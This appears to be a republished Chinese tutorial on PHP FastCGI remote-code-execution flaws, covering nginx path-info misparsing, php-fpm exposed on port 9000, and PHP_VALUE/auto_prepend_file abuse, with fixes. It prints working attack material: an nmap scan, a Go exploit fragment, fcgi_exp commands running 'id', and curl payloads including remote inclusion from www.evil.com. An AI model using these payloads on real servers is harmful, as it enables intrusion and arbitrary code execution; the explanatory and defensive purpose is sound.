微信公众号 讲师中心
首页
文章
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 自媒体 新闻
专题
后端开发 web前端 数据库 开发工具 php框架 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 新闻
AI工具
AI 聊天问答 Agent智能体 AI 文本写作 AI 绘画作图 AI 设计工具 AI 视频创作 AI 音频制作 AI 办公学习 AI 编程开发 Prompt指令
学习
大前端 后端开发 数据库 移动端 运维开发 计算机基础
编程手册
大前端 后端开发 数据库 移动端 运维开发 计算机基础
下载
js特效 网站源码 工具下载 类库下载 网站素材 学习资源 插件扩展 手机/移动开发 手机游戏
搜索
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程
自媒体 新闻
首页 > 后端开发 > php教程 > 正文

PHP FastCGI RCE Vul

php中文网
发布： 2016-08-08 09:21:01
原创
1806人浏览过
catalog
<span>1</span><span>. Introduction
</span><span>2</span><span>. nginx文件类型错误解析漏洞
</span><span>3</span>. 针对直接公网开放的Fast-<span>CGI攻击
</span><span>4</span>. 通过FCGI API动态修改php.ini中的配置实现RCE
登录后复制
 1. Introduction我们首先来梳理一下CGI的相关概念

<span>1</span><span>. CGI
CGI是为了保证web server传递过来的数据是标准&#26684;式的，从本质上来说，它是一个协议标准。web server(例如nginx)只是内容的分发者。比如
    </span><span>1</span>) 如果请求/<span>index.html，那么web server会去文件系统中找到这个文件，发送给浏览器，这里分发的是静态数据
    </span><span>2</span>) 如果请求的是/<span>index.php，根据配置文件，nginx知道这个不是静态文件，需要去找PHP解析器来处理，那么他会把这个请求简单处理后交给PHP解析器
问题的核心在于Nginx需要传哪些数据给PHP解析器呢，例如
    </span><span>1</span><span>) url
    </span><span>2</span><span>) 查询字符串
    </span><span>3</span><span>) POST数据
    </span><span>4</span><span>) HTTP header
    ..
本质上CGI就是规定要传哪些数据、以什么样的&#26684;式传递给后方处理这个请求的协议，而对应的是，只要是遵循这个协议标准实现的程序，就可以称之为CGI程序

</span><span>2</span><span>. FastCGI
首先明确一点，FastCGI也同样是一个协议标准，FastCGI的设计目的是提高CGI程序的性能的
    </span><span>1</span><span>) 首先，Fastcgi会先启一个master，解析配置文件，初始化执行环境
    </span><span>2</span><span>) 然后再启动多个worker
    </span><span>3</span><span>) 当请求过来时，master会传递给一个worker，然后立即可以接受下一个请求。这样就避免了重复的劳动，效率提高了
    </span><span>4</span><span>) 而且当worker不够用时，master可以根据配置预先启动几个worker等着，同时如果发现空闲worker太多时，也会停掉一些，这样就提高了性能，也节约了资源 
而对应的是，只要是遵循了这个协议标准实现的程序，就可以称之为FastCGI程序

</span><span>3</span>. PHP-CGI / PHP-<span>FastCGI
PHP的解释器是PHP</span>-CGI，PHP-<span>CGI只是个CGI程序，他自己本身只能解析请求，返回结果，不会进程管理

</span><span>4</span>. <span>PHP-FPM
PHP</span>-FPM是PHP-CGI进程的管理器，用来管理PHP-CGI进程的，PHP-FPM的管理对象是PHP-CGI
登录后复制

0x1: PHP-FPMPHP-FPM的功能包括

<span>1</span>. 支持平滑停止/<span>启动的高级进程管理功能
</span><span>2</span>. 可以工作于不同的 uid/gid/<span>chroot 环境下，并监听不同的端口和使用不同的 php.ini 配置文件(可取代 safe_mode 的设置)
</span><span>3</span><span>. stdout、stderr日志记录
</span><span>4</span><span>. 在发生意外情况的时候能够重新启动并缓存被破坏的 opcode
</span><span>5</span><span>. 文件上传优化支持
</span><span>6</span>. <span>"</span><span>慢日志</span><span>"</span> -<span> 记录脚本(不仅记录文件名，还记录 PHP backtrace 信息，可以使用 ptrace或者类&#20284;工具读取和分析远程进程的运行数据)运行所导致的异常缓慢
</span><span>7</span>. fastcgi_finish_request() -<span> 特殊功能：用于在请求完成和刷新数据后，继续在后台执行耗时的工作(录入视频转换、统计处理等)
</span><span>8</span><span>. 动态／静态子进程产生
</span><span>9</span><span>. 基本 SAPI 运行状态信息(类&#20284;Apache的 mod_status)
</span><span>10</span>. 基于 php.ini 的配置文件
登录后复制

立即学习“PHP免费学习笔记（深入）”；

Relevant Link:
http:<span>//</span><span>php.net/manual/zh/install.fpm.configuration.php</span>
http:<span>//</span><span>php.net/manual/zh/install.fpm.php</span>
http:<span>//</span><span>segmentfault.com/q/1010000000256516</span>
登录后复制
 2. nginx文件类型错误解析漏洞0x1: 漏洞描述漏洞介绍：nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。但是其中存在一个较为严重的安全问题，默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能攻陷支持php的nginx服务器0x2: 漏洞分析nginx默认以cgi的方式支持php的运行，在配置文件中如下配置

立即学习“PHP免费学习笔记（深入）”；

location ~<span> .php$ 
{
    root html;
    fastcgi_pass </span><span>127.0</span>.<span>0.1</span>:<span>9000</span><span>;
    fastcgi_index index.php;
    fastcgi_param SCRIPT_FILENAME </span>/<span>scripts$fastcgi_script_name;
    include fastcgi_params;
}</span>
登录后复制

立即学习“PHP免费学习笔记（深入）”；

配置参数简单说明如下
<span>1</span><span>. location对请求进行选择的时候会使用URI环境变量进行选择
    </span><span>1</span><span>) 其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定
    </span><span>2</span><span>) 而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的
</span><span>2</span>. 这里就是产生问题的点。而为了较好的支持PATH_INFO的提取，在PHP的配置选项里存在cgi.fix_pathinfo选项，其目的是为了从SCRIPT_FILENAME里取出真正的脚本名
登录后复制
我们来假设一个攻击场景

<span>1</span>. 假设存在一个URL: http:<span>//</span><span>localhost/test/test.jpg</span><span>2</span>. 我们以如下的方式去访问: http:<span>//</span><span>localhost/test/test.jpg/test.php</span><span>3</span>. nginx将会得到一个URI: /test.jpg/<span>test.php
</span><span>4</span>. 经过location指令，该请求将会交给后端的fastcgi处理，nginx为其设置环境变量SCRIPT_FILENAME，内容为: /scripts/test.jpg/<span>test.php
</span><span>5</span><span>. 后端的fastcgi在接受到该选项时，会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理，一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用，所以该选项一般配置开启。php通过该选项之后将查找其中真正的脚本文件名字，查找的方式也是查看文件是否存在，这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为
    </span><span>1</span>) SCRIPT_FILENAME: /scripts/<span>test.jpg
    </span><span>2</span><span>) PATH_INFO: test.php
</span><span>6</span>. 最后，以/scripts/test.jpg作为此次请求需要执行的脚本，而nginx会使用php解析器来处理这个jpg文件，攻击者就可以实现让nginx以php来解析任何类型的文件了
登录后复制

漏洞的本质实际上就是由于fcgi和webserver对script路径级参数的理解不同出现的问题，这是典型的因为跨系统语境不同导致对同一个请求的不同解释导致的漏洞，它的攻击面是带有这种漏洞的nginx0x3: POC访问一个nginx支持php的站点，在一个任何资源的文件如robots.txt后面加上/test.php，这个任意资源文件就会被当作php文件得以执行0x4: 修复方案(需重启)

<span>1</span><span>. 修改php.ini配置
cgi.fix_pathinfo </span>= <span>0</span><span>2</span><span>. nginx配置文件中添加
</span><span>if</span> ( $fastcgi_script_name ~ ..*/.*<span>php ) 
{
    </span><span>return</span><span>403</span><span>;
}
</span><span>/*</span><span>
考虑到MVC框架、用户自定义站点中有可能出现xxx/xx.php的情况，这个规则应该更加细粒度一点，例如*.jpg/.*php、*.txt/.*php
</span><span>*/</span>
登录后复制

PHP多文件上传插件
PHP多文件上传插件

PHP多文件上传插件

PHP多文件上传插件 149
查看详情 PHP多文件上传插件
另外，nginx可以在不需要重启的情况，hotreload配置文件
<span>service nginx reload 
</span><span>//</span><span>or </span>
/etc/init.d/nginx reload
登录后复制
0x5: 修复方案(无需重启)前提是目标服务器同时存在FCGI API暴露在公网的漏洞，使用hotfix的修复思想，利用FCGI本身可以RCE的特点，利用RCE修改存在漏洞的机器的FCGI漏洞

<span>1</span><span>. 利用FCGI RCE漏洞修改目标服务器的nginx配置文件的配置
</span><span>if</span> ( $fastcgi_script_name ~ ..*/.*<span>php ) 
{
    </span><span>return</span><span>403</span><span>;
}

</span><span>2</span><span>. 利用FCGI RCE漏洞动态修改php.ini的&#20540;
cgi.fix_pathinfo </span>= <span>0</span>
登录后复制

Relevant Link:
http:<span>//</span><span>www.80sec.com/nginx-securit.html</span>
http:<span>//</span><span>php.net/manual/zh/ini.core.php</span>
登录后复制
 3. 针对直接公网开放的Fast-CGI攻击除了利用nginx文件解析漏洞之外，由于fcgi和webserver是通过网络进行沟通的，因此目前越来越多的集群将fcgi直接绑定在公网上，所有人都可以对其进行访问。这样就意味着，任何人都可以伪装成webserver，让fcgi执行我们想执行的脚本内容。我们以php-fpm(php的fast-cgi的实现)作为例子说明直接将fastcgi暴露在公网所带来的安全风险0x1: 受影响范围扫描
<span>/*</span><span>
1. php-fpm默认监听的端口是9000
2. 使用sV的原因是，因为9000端口可能还存在其他服务，这里需要借用nmap的指纹识别先帮我们鉴定一下
</span><span>*/</span><span>
nmap </span>-sV -p <span>9000</span> --open <span>173</span>.xxx.xxx.<span>1</span>/<span>24</span>
登录后复制
0x2: fcgi劫持POC因为webserver为了提供fastcgi一些参数，每次转发请求的时候，会通过FASTCGI_PARAMS的包向fcgi进程进行传递。本来这些参数是用户不可控的，但是既然这个fcgi对外开放，那么也就说明我们可以通过设定这些参数，来让我们去做一些原本做不到的事情

./fcgi_exp read <span>173</span>.xxx.xxx.<span>183</span><span>9000</span> /etc/<span>issue 
</span><span>/*</span><span>
1. 在FASTCGI_PARAMS中，设定DOCUMENT_ROOT为"/"根目录
2. 设置SCRIPT_FILENAME为/etc/issue
3. 这样，只要我们有权限，我们就可以控制fcgi去读取这台机器上的任意文件了。实际上这并不是读取，而是用php去执行它 
</span><span>*/</span>
登录后复制

fcgi_exp.go

<span>..
env :</span>= make(map[<span>string</span>]<span>string</span><span>)

env[</span><span>"</span><span>SCRIPT_FILENAME</span><span>"</span>] =<span> url
env[</span><span>"</span><span>DOCUMENT_ROOT</span><span>"</span>] = <span>"</span><span>/</span><span>"</span><span>
env[</span><span>"</span><span>SERVER_SOFTWARE</span><span>"</span>] = <span>"</span><span>go / fcgiclient </span><span>"</span><span>
env[</span><span>"</span><span>REMOTE_ADDR</span><span>"</span>] = <span>"</span><span>127.0.0.1</span><span>"</span><span>
env[</span><span>"</span><span>SERVER_PROTOCOL</span><span>"</span>] = <span>"</span><span>HTTP/1.1</span><span>"</span><span>if</span> len(reqParams) != <span>0</span><span>{
    env[</span><span>"</span><span>CONTENT_LENGTH</span><span>"</span>] =<span> strconv.Itoa(len(reqParams))
    env[</span><span>"</span><span>REQUEST_METHOD</span><span>"</span>] = <span>"</span><span>POST</span><span>"</span><span>
    env[</span><span>"</span><span>PHP_VALUE</span><span>"</span>] = <span>"</span><span>allow_url_include = On\ndisable_functions = \nsafe_mode = Off\nauto_prepend_file = php://input</span><span>"</span><span>
} 
</span><span>else</span><span>{
    env[</span><span>"</span><span>REQUEST_METHOD</span><span>"</span>] = <span>"</span><span>GET</span><span>"</span><span>
}
..</span>
登录后复制

0x3: 攻击向量

<span>1</span><span>. 类&#20284;于一个普通的LFI漏洞，如果你知道这台机器上的log路径，或者任何你可以控制内容的文件路径，你就可以执行任意代码了
</span><span>//</span><span>将LFI漏洞转化为RCE的相关知识，请参阅另一篇文章: </span><span><u>http://www.cnblogs.com/LittleHann/p/3665062.html</u></span><span>2</span>. 动态修改php.ini中的auto_prepend_file的&#20540;，去远程执行任意文件。将一个LFI的漏洞变成了RFI
登录后复制

0x4: 修复方案
<span>1</span><span>. 不要把fcgi接口对公网暴露
</span><span>2</span>. 对fcgi会添加身份认证机制
登录后复制
 4. 通过FCGI API动态修改php.ini中的配置实现RCE0x1: 攻击向量通用通过设置FASTCGI_PARAMS，我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置
env[<span>"</span><span>REQUEST_METHOD</span><span>"</span>] = <span>"</span><span>POST</span><span>"</span><span>env[</span><span>"</span><span>PHP_VALUE</span><span>"</span>] = <span>"</span><span>auto_prepend_file = php://input</span><span>"</span><span>env[</span><span>"</span><span>PHP_ADMIN_VALUE</span><span>"</span>] = <span>"</span><span>allow_url_include = On\ndisable_functions = \nsafe_mode = Off</span><span>"</span>
登录后复制
利用执行php://input，然后在POST的内容中写入我们的php代码，这样就可以直接执行了
./fcgi_exp system <span>127.0</span>.<span>0.1</span><span>9000</span> /tmp/a.php <span>"</span><span>id; uname -a</span><span>"</span>
登录后复制
0x2: POC

<span>1</span><span>. 本地包含直接执行代码: 
curl </span>-H <span>"</span><span>USER-AGENT: <?system('id');die();?></span><span>"</span> http:<span>//</span><span>target.com/test.php?-dauto_prepend_file%3d/proc/self/environ&#43;-n </span><span>2</span><span>. 远程包含执行代码: 
curl http:</span><span>//</span><span>target.com/test.php?-dallow_url_include%3dOn&#43;-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt 
</span><span>//</span><span>-d参数: 作用是给php定义一个ini的&#20540;</span>
登录后复制

0x2: 修复方案
<span>1</span><span>. 不要把fcgi接口对公网暴露(重要)
</span><span>2</span><span>. 对fcgi会添加身份认证机制 
</span><span>3</span>. 升级php cgi
登录后复制
Relevant Link:
http:<span>//</span><span>zone.wooyun.org/content/1060</span>
http:<span>//</span><span>zone.wooyun.org/content/151</span>
http:<span>//</span><span>eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/</span>
登录后复制
 

以上就介绍了PHP FastCGI RCE Vul，包括了方面的内容，希望对PHP教程有兴趣的朋友有所帮助。
相关标签：
php nginx

大家都在看：

PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习？PHP怎么入门？PHP在哪学？PHP怎么学才快？不用担心，这里为大家提供了PHP速学教程(入门到精通)，有需要的小伙伴保存下载就能学习啦！

下载
来源：php中文网
收藏 点赞
上一篇：用nginx搭建基于rtmp或者http的flv、mp4流媒体服务器 下一篇：CentOS65下升级php
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
最新问题
在Svelte中安全高效地使用WordPress（PHP）变量 本文将详细介绍如何在Svelte应用中集成WordPress的PHP变量和字符串。针对Svelte的编译时特性，我们将重点讲解如何利用WordPress提供的wp_localize_script函数，将PHP后端数据安全、高效地传递给前端Svelte脚本，从而避免繁琐的手动数据传递，实现前后端数据的无缝交互。
2025-11-09 13:00:16
588
解决VS Code中PHP Server扩展“PHP未找到”错误的终极指南 本文旨在解决VisualStudioCode中PHPServer扩展提示“PHP未找到”的常见问题。即使PHP已安装，此错误也可能发生。教程将详细指导用户如何验证PHP安装、配置系统环境变量PATH，以及调整VSCode设置，确保PHP可被正确识别并运行，从而顺利启动PHP开发服务器。
2025-11-09 12:59:24
497
PHP中处理嵌套数组：从$_POST解析并迭代二维数组的正确姿势 本文旨在指导开发者如何在PHP中正确处理从$_POST接收到的嵌套数组（二维数组）。我们将深入探讨在迭代这类数据结构时常见的错误，并提供使用foreach循环安全访问内层数组元素的正确方法，确保数据解析和处理的准确性，从而避免因误用全局$_POST变量而导致的逻辑错误。
2025-11-09 12:56:20
420
PHP数组多键排序：使用 usort 实现复杂排序逻辑 本文详细介绍了如何在PHP中利用usort函数对包含嵌套数组的复杂数据结构进行多键排序。我们将以一个具体示例，演示如何首先按一个键（如counted）进行降序排序，然后在该键值相同时，再按另一个键（如placement）进行升序排序，确保数据按照预期的优先级和顺序排列。
2025-11-09 12:56:01
982
php源码如何安装_php源码本地安装与环境配置教程 答案：通过集成环境或手动编译搭建PHP运行环境。推荐新手使用XAMPP等集成工具，下载安装后启动Apache和MySQL，将PHP文件放入htdocs目录，浏览器访问localhost即可运行；高级用户可从php.net下载源码编译安装，需配置、编译并修改服务器设置；通过phpinfo()验证环境是否成功，常见问题包括端口占用、模块未加载、数据库连接失败等，可针对性解决。
2025-11-09 12:56:02
228
解决 Laravel Fortify 登录重定向但用户未认证的问题 本文深入探讨了LaravelFortify认证系统中，用户登录或注册后出现重定向成功但实际未认证的常见问题。核心原因通常是app/Http/Kernel.php文件中缺少\Illuminate\Session\Middleware\StartSession::class会话中间件。教程将详细解释该问题产生的机制，并提供明确的解决方案和相关的最佳实践，确保Fortify的会话认证功能正常运作。
2025-11-09 12:55:01
417
深入理解PHP DateInterval格式化字符串 PHP的DateInterval类是处理日期时间增量的核心工具。其格式化字符串遵循ISO8601标准，关键在于使用‘P’前缀表示周期（年、月、日）和‘T’前缀表示时间（时、分、秒）。理解并正确运用这两个前缀及其后的单位标识符，是精确、灵活地对DateTime对象进行加减操作的基础，极大简化了日期时间运算的复杂性。
2025-11-09 12:54:26
303
如何在 Laravel 中从 URL 查询字符串获取整数值 本文详细介绍了在Laravel框架中，如何高效且安全地从URL查询字符串中提取特定参数的整数值。我们将探讨使用request()->query()方法来获取单个参数或所有参数，并强调如何利用默认值以及确保获取到的数据为整数类型，以满足实际开发需求。
2025-11-09 12:53:45
992
PHP字符串精准截取教程：从匹配行中提取特定位置数据 本教程详细介绍了如何在PHP中从文本文件中检索到的匹配字符串中，精准提取特定起始位置和长度的子字符串。通过集成substr()函数到文件内容处理流程，我们能有效地从完整匹配行中筛选出所需的数据片段，提升数据处理的精确性与效率。教程涵盖了代码实现、参数解析及注意事项，旨在提供一个清晰实用的解决方案。
2025-11-09 12:51:22
517
精准管理URL查询参数：解决URLSearchParams删除重复键值对的挑战 本文旨在解决使用URLSearchParams时，delete()方法无法精确删除具有重复名称的特定URL查询参数的问题。当URL中存在如color[]=Black&color[]=Green这类重复参数名时，delete()会移除所有同名参数。教程将详细介绍一种高效且灵活的解决方案：通过遍历现有参数、过滤掉目标键值对，然后构建一个新的URLSearchParams实例，从而实现对URL参数的精细化控制。
2025-11-09 12:51:01
768
相关专题
更多>
热门推荐
开源免费商场系统广告
热门教程
更多>
相关推荐
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网：公益在线php培训，帮助PHP学习者快速成长！
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号

  • PHP学习

  • 技术支持

  • 返回顶部